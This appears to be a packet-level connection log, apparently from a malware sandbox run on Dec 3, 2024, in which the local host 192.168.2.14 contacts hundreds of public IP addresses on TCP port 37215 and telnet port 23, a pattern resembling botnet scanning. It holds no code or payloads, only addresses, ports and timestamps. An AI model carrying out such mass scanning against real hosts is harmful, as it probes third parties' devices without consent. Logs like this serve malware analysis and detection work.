Dec 3, 2024 22:02:02.013957977 CET	37215	40832	41.118.194.99	192.168.2.14
Dec 3, 2024 22:02:02.013968945 CET	37215	40832	197.19.145.209	192.168.2.14
Dec 3, 2024 22:02:02.013978958 CET	37215	40832	197.47.140.171	192.168.2.14
Dec 3, 2024 22:02:02.013993025 CET	40832	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:02.013999939 CET	40832	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:02.014002085 CET	37215	40832	156.117.91.14	192.168.2.14
Dec 3, 2024 22:02:02.014010906 CET	40832	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:02.014013052 CET	37215	40832	156.48.132.91	192.168.2.14
Dec 3, 2024 22:02:02.014023066 CET	37215	40832	197.97.53.20	192.168.2.14
Dec 3, 2024 22:02:02.014038086 CET	37215	40832	197.119.230.197	192.168.2.14
Dec 3, 2024 22:02:02.014041901 CET	40832	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:02.014045000 CET	40832	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:02.014049053 CET	37215	40832	197.197.86.116	192.168.2.14
Dec 3, 2024 22:02:02.014054060 CET	40832	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:02.014065981 CET	40832	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:02.014081955 CET	40832	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:02.014110088 CET	37215	40832	41.92.97.54	192.168.2.14
Dec 3, 2024 22:02:02.014144897 CET	40832	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:02.014592886 CET	37215	40832	41.3.168.87	192.168.2.14
Dec 3, 2024 22:02:02.014631033 CET	40832	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:02.014638901 CET	37215	40832	156.64.242.57	192.168.2.14
Dec 3, 2024 22:02:02.014653921 CET	37215	40832	41.114.48.9	192.168.2.14
Dec 3, 2024 22:02:02.014669895 CET	37215	40832	41.72.83.125	192.168.2.14
Dec 3, 2024 22:02:02.014671087 CET	40832	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:02.014678955 CET	40832	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:02.014678955 CET	37215	40832	197.37.224.195	192.168.2.14
Dec 3, 2024 22:02:02.014698982 CET	40832	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:02.014709949 CET	37215	40832	197.198.71.1	192.168.2.14
Dec 3, 2024 22:02:02.014713049 CET	40832	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:02.014719963 CET	37215	40832	197.195.158.99	192.168.2.14
Dec 3, 2024 22:02:02.014744997 CET	40832	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:02.014759064 CET	40832	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:02.014763117 CET	37215	40832	156.7.166.118	192.168.2.14
Dec 3, 2024 22:02:02.014781952 CET	37215	40832	197.174.91.252	192.168.2.14
Dec 3, 2024 22:02:02.014790058 CET	40832	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:02.014791012 CET	37215	40832	41.41.138.225	192.168.2.14
Dec 3, 2024 22:02:02.014806986 CET	37215	40832	41.240.186.144	192.168.2.14
Dec 3, 2024 22:02:02.014813900 CET	40832	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:02.014816046 CET	37215	40832	197.188.21.100	192.168.2.14
Dec 3, 2024 22:02:02.014822006 CET	40832	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:02.014839888 CET	40832	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:02.014843941 CET	40832	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:02.014882088 CET	37215	40832	41.242.231.240	192.168.2.14
Dec 3, 2024 22:02:02.014890909 CET	37215	40832	41.66.212.146	192.168.2.14
Dec 3, 2024 22:02:02.014905930 CET	37215	40832	156.128.181.170	192.168.2.14
Dec 3, 2024 22:02:02.014924049 CET	40832	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:02.014924049 CET	37215	40832	41.159.149.11	192.168.2.14
Dec 3, 2024 22:02:02.014930010 CET	40832	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:02.014940023 CET	37215	40832	156.117.49.107	192.168.2.14
Dec 3, 2024 22:02:02.014940977 CET	40832	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:02.014952898 CET	40832	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:02.014956951 CET	37215	40832	197.53.171.17	192.168.2.14
Dec 3, 2024 22:02:02.014966965 CET	40832	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:02.014966965 CET	37215	40832	197.131.102.163	192.168.2.14
Dec 3, 2024 22:02:02.014976978 CET	37215	40832	197.240.251.151	192.168.2.14
Dec 3, 2024 22:02:02.014991045 CET	37215	40832	156.176.19.33	192.168.2.14
Dec 3, 2024 22:02:02.014992952 CET	40832	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:02.015001059 CET	40832	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:02.015002012 CET	37215	40832	41.179.104.30	192.168.2.14
Dec 3, 2024 22:02:02.015013933 CET	37215	40832	197.17.118.166	192.168.2.14
Dec 3, 2024 22:02:02.015018940 CET	40832	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:02.015019894 CET	40832	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:02.015022993 CET	37215	40832	41.48.214.226	192.168.2.14
Dec 3, 2024 22:02:02.015032053 CET	37215	40832	41.250.53.110	192.168.2.14
Dec 3, 2024 22:02:02.015032053 CET	40832	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:02.015041113 CET	37215	40832	156.193.205.255	192.168.2.14
Dec 3, 2024 22:02:02.015054941 CET	40832	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:02.015064955 CET	40832	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:02.015069008 CET	40832	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:02.015072107 CET	37215	40832	41.154.223.212	192.168.2.14
Dec 3, 2024 22:02:02.015078068 CET	40832	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:02.015080929 CET	37215	40832	41.134.26.107	192.168.2.14
Dec 3, 2024 22:02:02.015101910 CET	40832	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:02.015110016 CET	40832	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:02.015593052 CET	37215	40832	197.53.94.99	192.168.2.14
Dec 3, 2024 22:02:02.015609026 CET	37215	40832	41.148.211.218	192.168.2.14
Dec 3, 2024 22:02:02.015628099 CET	40832	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:02.015631914 CET	40832	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:02.015655041 CET	37215	40832	41.64.226.76	192.168.2.14
Dec 3, 2024 22:02:02.015666962 CET	37215	40832	41.131.73.124	192.168.2.14
Dec 3, 2024 22:02:02.015683889 CET	37215	40832	41.108.8.89	192.168.2.14
Dec 3, 2024 22:02:02.015692949 CET	40832	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:02.015700102 CET	40832	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:02.015701056 CET	37215	40832	197.185.181.238	192.168.2.14
Dec 3, 2024 22:02:02.015713930 CET	37215	40832	41.94.175.19	192.168.2.14
Dec 3, 2024 22:02:02.015714884 CET	40832	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:02.015724897 CET	37215	40832	156.138.184.13	192.168.2.14
Dec 3, 2024 22:02:02.015728951 CET	40832	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:02.015737057 CET	37215	40832	41.224.48.182	192.168.2.14
Dec 3, 2024 22:02:02.015749931 CET	40832	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:02.015758038 CET	40832	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:02.015765905 CET	40832	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:02.015778065 CET	37215	40832	41.115.186.149	192.168.2.14
Dec 3, 2024 22:02:02.015788078 CET	37215	40832	156.165.110.157	192.168.2.14
Dec 3, 2024 22:02:02.015796900 CET	37215	40832	156.16.80.231	192.168.2.14
Dec 3, 2024 22:02:02.015804052 CET	40832	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:02.015818119 CET	40832	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:02.015825987 CET	40832	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:02.015887022 CET	37215	40832	156.221.169.157	192.168.2.14
Dec 3, 2024 22:02:02.015897036 CET	37215	40832	197.248.237.12	192.168.2.14
Dec 3, 2024 22:02:02.015906096 CET	37215	40832	41.93.34.146	192.168.2.14
Dec 3, 2024 22:02:02.015914917 CET	37215	40832	156.189.89.236	192.168.2.14
Dec 3, 2024 22:02:02.015917063 CET	40832	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:02.015925884 CET	37215	40832	197.49.43.51	192.168.2.14
Dec 3, 2024 22:02:02.015933990 CET	40832	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:02.015935898 CET	37215	40832	41.204.219.73	192.168.2.14
Dec 3, 2024 22:02:02.015938044 CET	40832	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:02.015942097 CET	40832	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:02.015945911 CET	37215	40832	197.105.204.171	192.168.2.14
Dec 3, 2024 22:02:02.015949011 CET	40832	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:02.015955925 CET	37215	40832	156.3.55.17	192.168.2.14
Dec 3, 2024 22:02:02.015961885 CET	40832	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:02.015964985 CET	37215	40832	197.231.150.19	192.168.2.14
Dec 3, 2024 22:02:02.015969992 CET	80	39296	100.186.253.107	192.168.2.14
Dec 3, 2024 22:02:02.015976906 CET	40832	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:02.015990019 CET	40832	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:02.015990019 CET	40832	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:02.016007900 CET	39296	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:02.025468111 CET	44688	23	192.168.2.14	66.14.218.156
Dec 3, 2024 22:02:02.025475979 CET	40634	23	192.168.2.14	53.45.88.145
Dec 3, 2024 22:02:02.025476933 CET	33626	23	192.168.2.14	171.228.226.194
Dec 3, 2024 22:02:02.025476933 CET	52336	23	192.168.2.14	149.6.49.115
Dec 3, 2024 22:02:02.025482893 CET	60486	23	192.168.2.14	180.28.106.176
Dec 3, 2024 22:02:02.025482893 CET	42522	23	192.168.2.14	154.91.35.210
Dec 3, 2024 22:02:02.025494099 CET	39190	23	192.168.2.14	85.188.158.213
Dec 3, 2024 22:02:02.025494099 CET	42716	23	192.168.2.14	25.223.63.176
Dec 3, 2024 22:02:02.025494099 CET	48888	23	192.168.2.14	73.137.1.150
Dec 3, 2024 22:02:02.025499105 CET	33182	23	192.168.2.14	66.115.118.77
Dec 3, 2024 22:02:02.025500059 CET	50052	23	192.168.2.14	57.77.79.213
Dec 3, 2024 22:02:02.025501966 CET	52970	23	192.168.2.14	124.66.203.218
Dec 3, 2024 22:02:02.025501966 CET	47624	23	192.168.2.14	155.214.134.11
Dec 3, 2024 22:02:02.025511026 CET	60252	23	192.168.2.14	50.23.168.94
Dec 3, 2024 22:02:02.025515079 CET	60640	23	192.168.2.14	182.112.23.245
Dec 3, 2024 22:02:02.025515079 CET	38904	23	192.168.2.14	31.254.18.225
Dec 3, 2024 22:02:02.025520086 CET	41068	23	192.168.2.14	115.44.115.201
Dec 3, 2024 22:02:02.025526047 CET	45300	23	192.168.2.14	150.110.243.151
Dec 3, 2024 22:02:02.025527000 CET	57420	23	192.168.2.14	111.208.105.182
Dec 3, 2024 22:02:02.025527000 CET	36404	23	192.168.2.14	60.241.179.239
Dec 3, 2024 22:02:02.025531054 CET	34390	23	192.168.2.14	42.239.28.216
Dec 3, 2024 22:02:02.025531054 CET	41414	23	192.168.2.14	37.110.33.41
Dec 3, 2024 22:02:02.025541067 CET	60898	23	192.168.2.14	120.44.162.106
Dec 3, 2024 22:02:02.049474001 CET	23	58466	155.143.127.153	192.168.2.14
Dec 3, 2024 22:02:02.049498081 CET	23	36958	157.191.153.182	192.168.2.14
Dec 3, 2024 22:02:02.049511909 CET	23	42176	114.125.101.1	192.168.2.14
Dec 3, 2024 22:02:02.049529076 CET	58466	23	192.168.2.14	155.143.127.153
Dec 3, 2024 22:02:02.049539089 CET	36958	23	192.168.2.14	157.191.153.182
Dec 3, 2024 22:02:02.049549103 CET	42176	23	192.168.2.14	114.125.101.1
Dec 3, 2024 22:02:02.049611092 CET	39808	23	192.168.2.14	58.184.38.20
Dec 3, 2024 22:02:02.049614906 CET	39808	23	192.168.2.14	32.59.243.158
Dec 3, 2024 22:02:02.049614906 CET	39808	23	192.168.2.14	19.17.109.217
Dec 3, 2024 22:02:02.049618959 CET	39808	23	192.168.2.14	63.62.206.203
Dec 3, 2024 22:02:02.049626112 CET	39808	23	192.168.2.14	153.238.221.164
Dec 3, 2024 22:02:02.049626112 CET	39808	23	192.168.2.14	114.124.112.53
Dec 3, 2024 22:02:02.049626112 CET	39808	23	192.168.2.14	183.137.254.214
Dec 3, 2024 22:02:02.049643040 CET	39808	23	192.168.2.14	14.152.174.67
Dec 3, 2024 22:02:02.049643040 CET	39808	23	192.168.2.14	153.89.27.182
Dec 3, 2024 22:02:02.049645901 CET	39808	23	192.168.2.14	141.91.105.172
Dec 3, 2024 22:02:02.049647093 CET	39808	23	192.168.2.14	100.225.236.67
Dec 3, 2024 22:02:02.049647093 CET	39808	23	192.168.2.14	188.83.39.50
Dec 3, 2024 22:02:02.049654961 CET	39808	23	192.168.2.14	87.182.53.132
Dec 3, 2024 22:02:02.049654961 CET	39808	23	192.168.2.14	52.22.253.254
Dec 3, 2024 22:02:02.049654961 CET	39808	23	192.168.2.14	197.146.2.91
Dec 3, 2024 22:02:02.049659014 CET	39808	23	192.168.2.14	193.253.81.6
Dec 3, 2024 22:02:02.049659014 CET	39808	23	192.168.2.14	74.39.245.27
Dec 3, 2024 22:02:02.049669981 CET	39808	23	192.168.2.14	82.226.239.19
Dec 3, 2024 22:02:02.049669981 CET	39808	23	192.168.2.14	200.81.67.141
Dec 3, 2024 22:02:02.049669981 CET	39808	23	192.168.2.14	208.44.151.21
Dec 3, 2024 22:02:02.049669981 CET	39808	23	192.168.2.14	136.148.83.199
Dec 3, 2024 22:02:02.049669981 CET	39808	23	192.168.2.14	152.90.61.168
Dec 3, 2024 22:02:02.049673080 CET	39808	23	192.168.2.14	37.241.45.170
Dec 3, 2024 22:02:02.049676895 CET	39808	23	192.168.2.14	209.72.170.86
Dec 3, 2024 22:02:02.049684048 CET	39808	23	192.168.2.14	86.144.195.65
Dec 3, 2024 22:02:02.049690962 CET	39808	23	192.168.2.14	86.25.190.197
Dec 3, 2024 22:02:02.049690962 CET	39808	23	192.168.2.14	31.104.60.37
Dec 3, 2024 22:02:02.049693108 CET	39808	23	192.168.2.14	191.81.164.249
Dec 3, 2024 22:02:02.049693108 CET	39808	23	192.168.2.14	156.202.9.156
Dec 3, 2024 22:02:02.049695969 CET	39808	23	192.168.2.14	31.161.142.106
Dec 3, 2024 22:02:02.049705029 CET	39808	23	192.168.2.14	132.246.14.84
Dec 3, 2024 22:02:02.049706936 CET	39808	23	192.168.2.14	14.163.230.212
Dec 3, 2024 22:02:02.049706936 CET	39808	23	192.168.2.14	130.132.8.90
Dec 3, 2024 22:02:02.049706936 CET	39808	23	192.168.2.14	200.119.178.148
Dec 3, 2024 22:02:02.049706936 CET	39808	23	192.168.2.14	124.197.209.4
Dec 3, 2024 22:02:02.049710035 CET	39808	23	192.168.2.14	174.36.31.140
Dec 3, 2024 22:02:02.049710035 CET	39808	23	192.168.2.14	154.44.161.253
Dec 3, 2024 22:02:02.049715996 CET	39808	23	192.168.2.14	164.81.34.122
Dec 3, 2024 22:02:02.049715996 CET	39808	23	192.168.2.14	97.190.120.189
Dec 3, 2024 22:02:02.049720049 CET	39808	23	192.168.2.14	197.110.99.221
Dec 3, 2024 22:02:02.049720049 CET	39808	23	192.168.2.14	104.121.191.224
Dec 3, 2024 22:02:02.049721956 CET	39808	23	192.168.2.14	84.192.15.179
Dec 3, 2024 22:02:02.049721956 CET	39808	23	192.168.2.14	153.75.219.158
Dec 3, 2024 22:02:02.049722910 CET	39808	23	192.168.2.14	164.251.177.72
Dec 3, 2024 22:02:02.049722910 CET	39808	23	192.168.2.14	1.203.242.105
Dec 3, 2024 22:02:02.049734116 CET	39808	23	192.168.2.14	14.238.147.69
Dec 3, 2024 22:02:02.049734116 CET	39808	23	192.168.2.14	217.76.149.21
Dec 3, 2024 22:02:02.049734116 CET	39808	23	192.168.2.14	183.115.152.251
Dec 3, 2024 22:02:02.049734116 CET	39808	23	192.168.2.14	32.101.142.144
Dec 3, 2024 22:02:02.049734116 CET	39808	23	192.168.2.14	47.28.203.107
Dec 3, 2024 22:02:02.049740076 CET	39808	23	192.168.2.14	218.108.64.173
Dec 3, 2024 22:02:02.049740076 CET	39808	23	192.168.2.14	42.202.43.241
Dec 3, 2024 22:02:02.049742937 CET	39808	23	192.168.2.14	172.221.8.151
Dec 3, 2024 22:02:02.049742937 CET	39808	23	192.168.2.14	195.48.192.221
Dec 3, 2024 22:02:02.049743891 CET	39808	23	192.168.2.14	80.219.242.188
Dec 3, 2024 22:02:02.049745083 CET	39808	23	192.168.2.14	27.84.250.124
Dec 3, 2024 22:02:02.049745083 CET	39808	23	192.168.2.14	177.146.195.105
Dec 3, 2024 22:02:02.049746990 CET	39808	23	192.168.2.14	83.226.39.119
Dec 3, 2024 22:02:02.049746990 CET	39808	23	192.168.2.14	42.211.146.12
Dec 3, 2024 22:02:02.049753904 CET	39808	23	192.168.2.14	211.63.37.16
Dec 3, 2024 22:02:02.049753904 CET	39808	23	192.168.2.14	91.92.236.189
Dec 3, 2024 22:02:02.049753904 CET	39808	23	192.168.2.14	40.233.12.249
Dec 3, 2024 22:02:02.049756050 CET	39808	23	192.168.2.14	89.180.237.150
Dec 3, 2024 22:02:02.049763918 CET	39808	23	192.168.2.14	154.79.6.188
Dec 3, 2024 22:02:02.049767971 CET	39808	23	192.168.2.14	36.215.155.239
Dec 3, 2024 22:02:02.049772024 CET	39808	23	192.168.2.14	35.107.71.174
Dec 3, 2024 22:02:02.049779892 CET	39808	23	192.168.2.14	61.252.241.221
Dec 3, 2024 22:02:02.049779892 CET	39808	23	192.168.2.14	39.238.38.114
Dec 3, 2024 22:02:02.049782038 CET	39808	23	192.168.2.14	220.110.36.244
Dec 3, 2024 22:02:02.049791098 CET	39808	23	192.168.2.14	96.200.65.188
Dec 3, 2024 22:02:02.049801111 CET	39808	23	192.168.2.14	68.251.5.181
Dec 3, 2024 22:02:02.049804926 CET	39808	23	192.168.2.14	176.83.121.214
Dec 3, 2024 22:02:02.049808979 CET	39808	23	192.168.2.14	108.140.29.226
Dec 3, 2024 22:02:02.049813032 CET	39808	23	192.168.2.14	149.46.252.235
Dec 3, 2024 22:02:02.049814939 CET	39808	23	192.168.2.14	103.183.113.75
Dec 3, 2024 22:02:02.049824953 CET	39808	23	192.168.2.14	105.243.192.130
Dec 3, 2024 22:02:02.049828053 CET	39808	23	192.168.2.14	210.148.53.54
Dec 3, 2024 22:02:02.049835920 CET	39808	23	192.168.2.14	213.137.126.74
Dec 3, 2024 22:02:02.049838066 CET	39808	23	192.168.2.14	93.98.73.135
Dec 3, 2024 22:02:02.049838066 CET	39808	23	192.168.2.14	101.91.250.106
Dec 3, 2024 22:02:02.049850941 CET	39808	23	192.168.2.14	194.118.82.24
Dec 3, 2024 22:02:02.049855947 CET	39808	23	192.168.2.14	179.118.73.214
Dec 3, 2024 22:02:02.049859047 CET	39808	23	192.168.2.14	117.23.246.164
Dec 3, 2024 22:02:02.049860954 CET	39808	23	192.168.2.14	104.82.227.214
Dec 3, 2024 22:02:02.049870968 CET	39808	23	192.168.2.14	171.188.77.111
Dec 3, 2024 22:02:02.049876928 CET	39808	23	192.168.2.14	115.137.208.120
Dec 3, 2024 22:02:02.049876928 CET	39808	23	192.168.2.14	42.25.181.64
Dec 3, 2024 22:02:02.049876928 CET	39808	23	192.168.2.14	139.154.188.248
Dec 3, 2024 22:02:02.049879074 CET	39808	23	192.168.2.14	34.64.48.61
Dec 3, 2024 22:02:02.049885988 CET	39808	23	192.168.2.14	46.8.187.14
Dec 3, 2024 22:02:02.049886942 CET	39808	23	192.168.2.14	147.32.10.194
Dec 3, 2024 22:02:02.049894094 CET	39808	23	192.168.2.14	184.197.254.71
Dec 3, 2024 22:02:02.049901962 CET	39808	23	192.168.2.14	173.17.161.184
Dec 3, 2024 22:02:02.049902916 CET	39808	23	192.168.2.14	116.232.87.56
Dec 3, 2024 22:02:02.049911022 CET	39808	23	192.168.2.14	157.34.37.199
Dec 3, 2024 22:02:02.049911022 CET	39808	23	192.168.2.14	191.207.226.87
Dec 3, 2024 22:02:02.049918890 CET	39808	23	192.168.2.14	46.161.74.24
Dec 3, 2024 22:02:02.049918890 CET	39808	23	192.168.2.14	70.222.245.5
Dec 3, 2024 22:02:02.049927950 CET	39808	23	192.168.2.14	32.46.181.9
Dec 3, 2024 22:02:02.049927950 CET	39808	23	192.168.2.14	198.129.194.189
Dec 3, 2024 22:02:02.049938917 CET	39808	23	192.168.2.14	17.204.120.225
Dec 3, 2024 22:02:02.049940109 CET	39808	23	192.168.2.14	120.57.146.77
Dec 3, 2024 22:02:02.049941063 CET	39808	23	192.168.2.14	102.243.127.207
Dec 3, 2024 22:02:02.049952030 CET	39808	23	192.168.2.14	158.18.154.105
Dec 3, 2024 22:02:02.049956083 CET	39808	23	192.168.2.14	54.15.4.88
Dec 3, 2024 22:02:02.049957991 CET	39808	23	192.168.2.14	96.16.212.64
Dec 3, 2024 22:02:02.049959898 CET	39808	23	192.168.2.14	39.175.7.216
Dec 3, 2024 22:02:02.049968958 CET	39808	23	192.168.2.14	124.11.239.141
Dec 3, 2024 22:02:02.049969912 CET	39808	23	192.168.2.14	171.176.196.222
Dec 3, 2024 22:02:02.049971104 CET	39808	23	192.168.2.14	88.29.7.215
Dec 3, 2024 22:02:02.049972057 CET	39808	23	192.168.2.14	221.242.40.204
Dec 3, 2024 22:02:02.049978018 CET	39808	23	192.168.2.14	39.21.114.43
Dec 3, 2024 22:02:02.049978018 CET	39808	23	192.168.2.14	137.139.74.73
Dec 3, 2024 22:02:02.049982071 CET	39808	23	192.168.2.14	44.63.133.13
Dec 3, 2024 22:02:02.049982071 CET	39808	23	192.168.2.14	186.179.71.111
Dec 3, 2024 22:02:02.049987078 CET	39808	23	192.168.2.14	168.114.148.36
Dec 3, 2024 22:02:02.049987078 CET	39808	23	192.168.2.14	9.192.102.103
Dec 3, 2024 22:02:02.049988031 CET	39808	23	192.168.2.14	86.111.14.253
Dec 3, 2024 22:02:02.049992085 CET	39808	23	192.168.2.14	165.102.113.138
Dec 3, 2024 22:02:02.049993992 CET	39808	23	192.168.2.14	142.220.184.232
Dec 3, 2024 22:02:02.049995899 CET	39808	23	192.168.2.14	149.94.8.218
Dec 3, 2024 22:02:02.050007105 CET	39808	23	192.168.2.14	80.227.97.255
Dec 3, 2024 22:02:02.050007105 CET	39808	23	192.168.2.14	131.182.72.213
Dec 3, 2024 22:02:02.050009966 CET	39808	23	192.168.2.14	50.192.153.236
Dec 3, 2024 22:02:02.050019979 CET	39808	23	192.168.2.14	107.0.104.135
Dec 3, 2024 22:02:02.050020933 CET	39808	23	192.168.2.14	150.72.180.174
Dec 3, 2024 22:02:02.050026894 CET	39808	23	192.168.2.14	98.22.240.135
Dec 3, 2024 22:02:02.050031900 CET	39808	23	192.168.2.14	175.244.39.61
Dec 3, 2024 22:02:02.050039053 CET	39808	23	192.168.2.14	64.21.55.114
Dec 3, 2024 22:02:02.050039053 CET	39808	23	192.168.2.14	201.248.220.243
Dec 3, 2024 22:02:02.050039053 CET	39808	23	192.168.2.14	153.252.174.59
Dec 3, 2024 22:02:02.050045013 CET	39808	23	192.168.2.14	208.254.62.77
Dec 3, 2024 22:02:02.050051928 CET	39808	23	192.168.2.14	106.187.187.252
Dec 3, 2024 22:02:02.050065041 CET	39808	23	192.168.2.14	8.221.200.107
Dec 3, 2024 22:02:02.050066948 CET	39808	23	192.168.2.14	197.45.244.20
Dec 3, 2024 22:02:02.050070047 CET	39808	23	192.168.2.14	121.81.200.22
Dec 3, 2024 22:02:02.050071001 CET	39808	23	192.168.2.14	126.95.205.59
Dec 3, 2024 22:02:02.050077915 CET	39808	23	192.168.2.14	217.115.127.86
Dec 3, 2024 22:02:02.050087929 CET	39808	23	192.168.2.14	210.212.230.24
Dec 3, 2024 22:02:02.050090075 CET	39808	23	192.168.2.14	145.198.7.242
Dec 3, 2024 22:02:02.050092936 CET	39808	23	192.168.2.14	46.29.233.215
Dec 3, 2024 22:02:02.050097942 CET	39808	23	192.168.2.14	88.254.148.241
Dec 3, 2024 22:02:02.050110102 CET	39808	23	192.168.2.14	187.121.196.159
Dec 3, 2024 22:02:02.050110102 CET	39808	23	192.168.2.14	103.119.169.198
Dec 3, 2024 22:02:02.050110102 CET	39808	23	192.168.2.14	120.194.151.203
Dec 3, 2024 22:02:02.050111055 CET	39808	23	192.168.2.14	211.47.104.175
Dec 3, 2024 22:02:02.050115108 CET	39808	23	192.168.2.14	220.108.180.188
Dec 3, 2024 22:02:02.050122023 CET	39808	23	192.168.2.14	67.252.73.92
Dec 3, 2024 22:02:02.050123930 CET	39808	23	192.168.2.14	83.159.221.164
Dec 3, 2024 22:02:02.050128937 CET	39808	23	192.168.2.14	101.135.237.43
Dec 3, 2024 22:02:02.050128937 CET	39808	23	192.168.2.14	42.59.180.207
Dec 3, 2024 22:02:02.050138950 CET	39808	23	192.168.2.14	178.164.118.56
Dec 3, 2024 22:02:02.050143957 CET	39808	23	192.168.2.14	64.91.119.32
Dec 3, 2024 22:02:02.050147057 CET	39808	23	192.168.2.14	194.87.102.86
Dec 3, 2024 22:02:02.050149918 CET	39808	23	192.168.2.14	59.225.105.128
Dec 3, 2024 22:02:02.050160885 CET	39808	23	192.168.2.14	169.6.237.206
Dec 3, 2024 22:02:02.050168991 CET	39808	23	192.168.2.14	89.35.216.14
Dec 3, 2024 22:02:02.050169945 CET	39808	23	192.168.2.14	136.181.49.168
Dec 3, 2024 22:02:02.050170898 CET	39808	23	192.168.2.14	80.88.87.157
Dec 3, 2024 22:02:02.050170898 CET	39808	23	192.168.2.14	202.46.50.39
Dec 3, 2024 22:02:02.050182104 CET	39808	23	192.168.2.14	45.69.218.128
Dec 3, 2024 22:02:02.050182104 CET	39808	23	192.168.2.14	206.149.50.130
Dec 3, 2024 22:02:02.050183058 CET	39808	23	192.168.2.14	113.224.173.74
Dec 3, 2024 22:02:02.050189018 CET	39808	23	192.168.2.14	142.118.152.210
Dec 3, 2024 22:02:02.050196886 CET	39808	23	192.168.2.14	130.170.69.142
Dec 3, 2024 22:02:02.050196886 CET	39808	23	192.168.2.14	102.127.94.19
Dec 3, 2024 22:02:02.050209045 CET	39808	23	192.168.2.14	119.149.220.168
Dec 3, 2024 22:02:02.050214052 CET	39808	23	192.168.2.14	186.183.182.215
Dec 3, 2024 22:02:02.050214052 CET	39808	23	192.168.2.14	4.115.208.42
Dec 3, 2024 22:02:02.050215960 CET	39808	23	192.168.2.14	198.200.37.24
Dec 3, 2024 22:02:02.050225019 CET	39808	23	192.168.2.14	145.192.191.25
Dec 3, 2024 22:02:02.050225973 CET	39808	23	192.168.2.14	77.241.24.156
Dec 3, 2024 22:02:02.050228119 CET	39808	23	192.168.2.14	166.196.121.196
Dec 3, 2024 22:02:02.050237894 CET	39808	23	192.168.2.14	18.120.233.231
Dec 3, 2024 22:02:02.050244093 CET	39808	23	192.168.2.14	24.121.18.244
Dec 3, 2024 22:02:02.050244093 CET	39808	23	192.168.2.14	24.31.84.75
Dec 3, 2024 22:02:02.050244093 CET	39808	23	192.168.2.14	39.39.46.69
Dec 3, 2024 22:02:02.050244093 CET	39808	23	192.168.2.14	207.154.193.199
Dec 3, 2024 22:02:02.050245047 CET	39808	23	192.168.2.14	8.51.155.36
Dec 3, 2024 22:02:02.050252914 CET	39808	23	192.168.2.14	198.240.207.75
Dec 3, 2024 22:02:02.050256014 CET	39808	23	192.168.2.14	32.200.234.155
Dec 3, 2024 22:02:02.050266027 CET	39808	23	192.168.2.14	195.249.219.183
Dec 3, 2024 22:02:02.050268888 CET	39808	23	192.168.2.14	98.103.210.155
Dec 3, 2024 22:02:02.050276041 CET	39808	23	192.168.2.14	122.102.109.189
Dec 3, 2024 22:02:02.050277948 CET	39808	23	192.168.2.14	27.206.188.67
Dec 3, 2024 22:02:02.050278902 CET	39808	23	192.168.2.14	66.180.29.58
Dec 3, 2024 22:02:02.050283909 CET	39808	23	192.168.2.14	8.73.24.2
Dec 3, 2024 22:02:02.050283909 CET	39808	23	192.168.2.14	2.136.87.132
Dec 3, 2024 22:02:02.050285101 CET	39808	23	192.168.2.14	157.156.185.151
Dec 3, 2024 22:02:02.050286055 CET	39808	23	192.168.2.14	138.116.227.136
Dec 3, 2024 22:02:02.050296068 CET	39808	23	192.168.2.14	196.254.189.202
